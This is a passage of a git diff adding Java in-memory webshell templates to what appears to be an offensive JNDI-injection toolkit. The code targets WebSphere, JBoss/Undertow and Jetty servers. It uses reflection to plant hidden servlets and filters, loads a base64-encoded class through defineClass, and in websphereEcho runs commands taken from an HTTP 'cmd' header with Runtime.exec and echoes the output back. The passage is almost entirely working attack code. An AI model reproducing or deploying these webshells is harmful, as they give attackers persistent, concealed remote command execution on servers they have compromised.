JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZD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"; + byte[] bytes = base64Decoder.decodeBuffer(codeClass); + + method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + } + + Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); + Object filter = clazz.newInstance(); + filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for(int i = 0; i < methods.length; i++){ + if(methods[i].getName().equals("addFilterInfo")){ + method = methods[i]; + break; + } + } + method.invoke(webAppConfiguration, new Object[]{filterConfig}); + + field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); + field.setAccessible(true); + Object original = field.get(filterConfig); + + //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 + field.set(filterConfig, null); + + method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); + method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); + + //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 + field.set(filterConfig, original); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for(int i = 0; i < methods.length; i++){ + if(methods[i].getName().equals("getUriFilterMappings")){ + method = methods[i]; + break; + } + } + + //这里的目的是为了将我们添加的动态 Filter 放到第一位 + List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]); + uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); + } + + break; + } + } + }catch(Exception e){ + e.printStackTrace(); + } + } + + @Override + public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { + + } + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java new file mode 100644 index 00000000..884b58cb --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/websphereEcho.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +public class websphereEcho { + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for(int i = 0; i < obj_arr.length; i++){ + Object o = obj_arr[i]; + if(o == null) continue; + + if(o.getClass().getName().endsWith("WebContainerRequestState")){ + Object req = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object resp = o.getClass().getMethod("getCurrentThreadsIExtendedResponse", new Class[0]).invoke(o, new Object[0]); + + String cmd = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"}); + if(cmd != null && !cmd.isEmpty()){ + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + java.io.PrintWriter printWriter = (java.io.PrintWriter)resp.getClass().getMethod("getWriter", new Class[0]).invoke(resp, new Object[0]); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java new file mode 100644 index 00000000..f31134a3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBFMSFromContextF.java @@ -0,0 +1,203 @@ +package com.qi4l.jndi.template.memshell.jboss; + + +import io.undertow.servlet.api.DeploymentInfo; +import io.undertow.servlet.api.FilterInfo; +import io.undertow.servlet.core.DeploymentImpl; +import io.undertow.servlet.spec.HttpServletRequestImpl; +import io.undertow.servlet.util.ConstructorInstanceFactory; + +import javax.security.jacc.PolicyContext; +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Modifier; +import java.util.Map; + +import static org.fusesource.jansi.Ansi.ansi; + +/** + * jboss Filter 内存马 + * @author nu1r + */ +public class JBFMSFromContextF implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + + try { + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object context = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + Object deploymentInfo = getFieldValue(context, "deploymentInfo"); + Map filters = (Map) getMethodAndInvoke(deploymentInfo, "getFilters", new Class[]{}, new Object[]{}); + + if (!filters.containsKey(NAME)) { + Class clazz = JBFMSFromContextF.class; + Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo"); + Class instanceFactoryClass = Class.forName("io.undertow.servlet.api.InstanceFactory"); + Class implClass = Class.forName("io.undertow.servlet.util.ConstructorInstanceFactory"); + + Constructor factoryConstructor = implClass.getDeclaredConstructor(new Class[]{Constructor.class}); + Object factory = factoryConstructor.newInstance( + new Object[]{clazz.getDeclaredConstructor()}); + + Constructor constructor = filterInfoClass.getDeclaredConstructor( + new Class[]{String.class, Class.class, instanceFactoryClass}); + constructor.setAccessible(true); + Object filter = constructor.newInstance(new Object[]{NAME, clazz, factory}); + + getMethodAndInvoke(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filter}); + + Field f = context.getClass().getDeclaredField("deployment"); + f.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + getMethodAndInvoke(getMethodAndInvoke(f.get(context), "getFilters", new Class[]{}, new Object[]{}), + "addFilter", new Class[]{filterInfoClass}, new Object[]{filter}); + getMethodAndInvoke(deploymentInfo, "insertFilterUrlMapping", + new Class[]{int.class, String.class, String.class, DispatcherType.class}, + new Object[]{0, NAME, pattern, DispatcherType.REQUEST}); + } + } catch (Exception ignored) { + Object standardContext = null; + Object servletContext = getMethodAndInvoke(req, "getServletContext", new Class[]{}, new Object[]{}); + if (servletContext != null) { + standardContext = getFieldValue(getFieldValue(servletContext, "context"), "context"); + } else { + standardContext = getFieldValue(getFieldValue(req, "request"), "context"); + } + Class contextClass = null; + try { + contextClass = standardContext.getClass().getSuperclass(); + contextClass.getDeclaredField("filterConfigs"); + } catch (Exception e) { + contextClass = standardContext.getClass(); + contextClass.getDeclaredField("filterConfigs"); + } + + Map filterConfigs = (Map) getFieldValue(standardContext, "filterConfigs"); + Filter filter = new JBFMSFromContextF(); + + Class filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + Object filterDef = filterDefClass.newInstance(); + getMethodAndInvoke(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + getMethodAndInvoke(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filter.getClass().getName()}); + getMethodAndInvoke(filterDef, "setFilter", new Class[]{Filter.class}, new Object[]{filter}); + getMethodAndInvoke(standardContext, "addFilterDef", new Class[]{filterDefClass}, new Object[]{filterDef}); + + Class filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + Object filterMap = filterMapClass.newInstance(); + + getMethodAndInvoke(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{pattern}); + getMethodAndInvoke(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{NAME}); + getMethodAndInvoke(filterMap, "setDispatcher", new Class[]{String.class}, new Object[]{"REQUEST"}); + + Field fieldMaps = standardContext.getClass().getDeclaredField("filterMaps"); + fieldMaps.setAccessible(true); + Object maps = fieldMaps.get(standardContext); + + int length = Array.getLength(maps); + Object newMaps = Array.newInstance(filterMapClass, length + 1); + Array.set(newMaps, 0, filterMap); + for (int i = 0; i < length; i++) { + Array.set(newMaps, i + 1, Array.get(maps, i)); + } + fieldMaps.set(standardContext, newMaps); + + getMethodAndInvoke(standardContext, "addFilterMap", new Class[]{filterMapClass}, new Object[]{filterMap}); + + Class config = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); + Object apacheConfig = null; + + try { + Class conClass = Class.forName("org.apache.catalina.Context"); + Constructor constructor = config.getDeclaredConstructor(conClass, filterDefClass); + constructor.setAccessible(true); + apacheConfig = constructor.newInstance(standardContext, filterDef); + } catch (Exception neverMind) { + apacheConfig = createInstanceUnsafely(config); + Field def = config.getDeclaredField("filterDef"); + def.setAccessible(true); + def.set(apacheConfig, filterDef); + } + + Field field = config.getDeclaredField("filter"); + field.setAccessible(true); + field.set(apacheConfig, filter); + filterConfigs.put(NAME, apacheConfig); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) + throws IOException, ServletException { + } + + @Override + public void destroy() { + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + java.lang.reflect.Field f = null; + if (obj instanceof java.lang.reflect.Field) { + f = (java.lang.reflect.Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f.setAccessible(true); + return f.get(obj); + } + + public static Object createInstanceUnsafely(Class clazz) throws Exception { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + return getMethodAndInvoke(theUnsafeField.get(null), "allocateInstance", new Class[]{Class.class}, new Object[]{clazz}); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java new file mode 100644 index 00000000..e5f5a348 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jboss/JBSMSFromContextS.java @@ -0,0 +1,85 @@ +package com.qi4l.jndi.template.memshell.jboss; + + +import io.undertow.servlet.api.DeploymentInfo; +import io.undertow.servlet.api.ServletInfo; +import io.undertow.servlet.core.DeploymentImpl; +import io.undertow.servlet.handlers.ServletHandler; +import io.undertow.servlet.spec.HttpServletRequestImpl; +import io.undertow.servlet.spec.ServletRegistrationImpl; +import io.undertow.servlet.util.ConstructorInstanceFactory; + + +import javax.security.jacc.PolicyContext; +import javax.servlet.*; +import java.lang.reflect.Field; + +import java.lang.reflect.Modifier; +import java.util.Map; + +import static org.fusesource.jansi.Ansi.ansi; + + +/** + * jboss Servlet 内存马 + * @author nu1r + */ +public class JBSMSFromContextS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + ServletContext context = request.getServletContext(); + Field f = context.getClass().getDeclaredField("deploymentInfo"); + f.setAccessible(true); + DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context); + + //只添加一次 + Map servlets = deploymentInfo.getServlets(); + if (!servlets.containsKey(NAME)) { + + Class clazz = JBSMSFromContextS.class; + ServletInfo servletInfo = new ServletInfo(NAME, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); + deploymentInfo.addServlet(servletInfo); + + f = context.getClass().getDeclaredField("deployment"); + f.setAccessible(true); + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + DeploymentImpl deployment = (DeploymentImpl) f.get(context); + ServletHandler handler = deployment.getServlets().addServlet(servletInfo); + + ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment); + registration.addMapping(pattern); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java new file mode 100644 index 00000000..ae4367b3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JFMSFromJMXF.java @@ -0,0 +1,129 @@ +package com.qi4l.jndi.template.memshell.jetty; + + +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; + +import javax.management.ObjectName; +import javax.servlet.*; +import java.io.IOException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.EnumSet; +import java.util.Set; + +import static org.fusesource.jansi.Ansi.ansi; + +/** + * 使用 JMX 注入 Jetty Filter 型内存马 + * @author nu1r + */ +public class JFMSFromJMXF implements Filter { + + public static String pattern; + + static { + try { + String filterName = String.valueOf(System.nanoTime()); + + JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); + + Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mBeanServer); + + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Field modifier = field.getClass().getDeclaredField("modifiers"); + modifier.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Repository repository = (Repository) field.get(obj); + + Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); + for (NamedObject namedObject : namedObjectSet) { + try { + field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); + field.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Object webAppContext = field.get(namedObject.getObject()); + + field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); + field.setAccessible(true); + Object handler = field.get(webAppContext); + + field = handler.getClass().getDeclaredField("_filters"); + field.setAccessible(true); + Object[] objects = (Object[]) field.get(handler); + + boolean flag = false; + for (Object o : objects) { + field = o.getClass().getSuperclass().getDeclaredField("_name"); + field.setAccessible(true); + String name = (String) field.get(o); + if (name.equals(filterName)) { + flag = true; + break; + } + } + + if (!flag) { + ClassLoader classLoader = handler.getClass().getClassLoader(); + Class sourceClazz = null; + Object holder = null; + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); + field = sourceClazz.getDeclaredField("JAVAX_API"); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); + holder = method.invoke(handler, field.get(null)); + } catch (ClassNotFoundException e) { + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); + } catch (ClassNotFoundException ignored) { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Holder$Source"); + } + Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); + holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); + } + + + Filter filter = new JFMSFromJMXF(); + holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); + holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); + handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); + + Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); + Object filterMapping = clazz.newInstance(); + Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); + method.setAccessible(true); + method.invoke(filterMapping, holder); + filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{pattern}}); + filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); + + // prependFilterMapping 会自动把 filter 加到最前面 + handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); + } + } catch (Exception ignored) { + //pass + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java new file mode 100644 index 00000000..0f018b4b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/jetty/JSMSFromJMXS.java @@ -0,0 +1,140 @@ +package com.qi4l.jndi.template.memshell.jetty; + +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; + +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.util.Set; + +/** + * jetty Servlet 内存马 + * @author nu1r + */ + +public class JSMSFromJMXS implements Servlet { + + public static String pattern; + + static { + try { + String servletName = String.valueOf(System.nanoTime()); + + JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); + + Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mBeanServer); + + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Field modifier = field.getClass().getDeclaredField("modifiers"); + modifier.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Repository repository = (Repository) field.get(obj); + + Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); + for (NamedObject namedObject : namedObjectSet) { + try { + field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); + field.setAccessible(true); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Object webAppContext = field.get(namedObject.getObject()); + + field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); + field.setAccessible(true); + Object handler = field.get(webAppContext); + + field = handler.getClass().getDeclaredField("_servlets"); + field.setAccessible(true); + Object[] objects = (Object[]) field.get(handler); + + boolean flag = false; + for (Object o : objects) { + field = o.getClass().getSuperclass().getDeclaredField("_name"); + field.setAccessible(true); + String name = (String) field.get(o); + if (name.equals(servletName)) { + flag = true; + break; + } + } + + if (!flag) { + ClassLoader classLoader = handler.getClass().getClassLoader(); + Class sourceClazz = null; + Object holder = null; + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); + field = sourceClazz.getDeclaredField("JAVAX_API"); + modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); + Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); + holder = method.invoke(handler, field.get(null)); + } catch (ClassNotFoundException e) { + try { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); + } catch (ClassNotFoundException ignored) { + sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Holder$Source"); + } + Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); + holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); + } + + 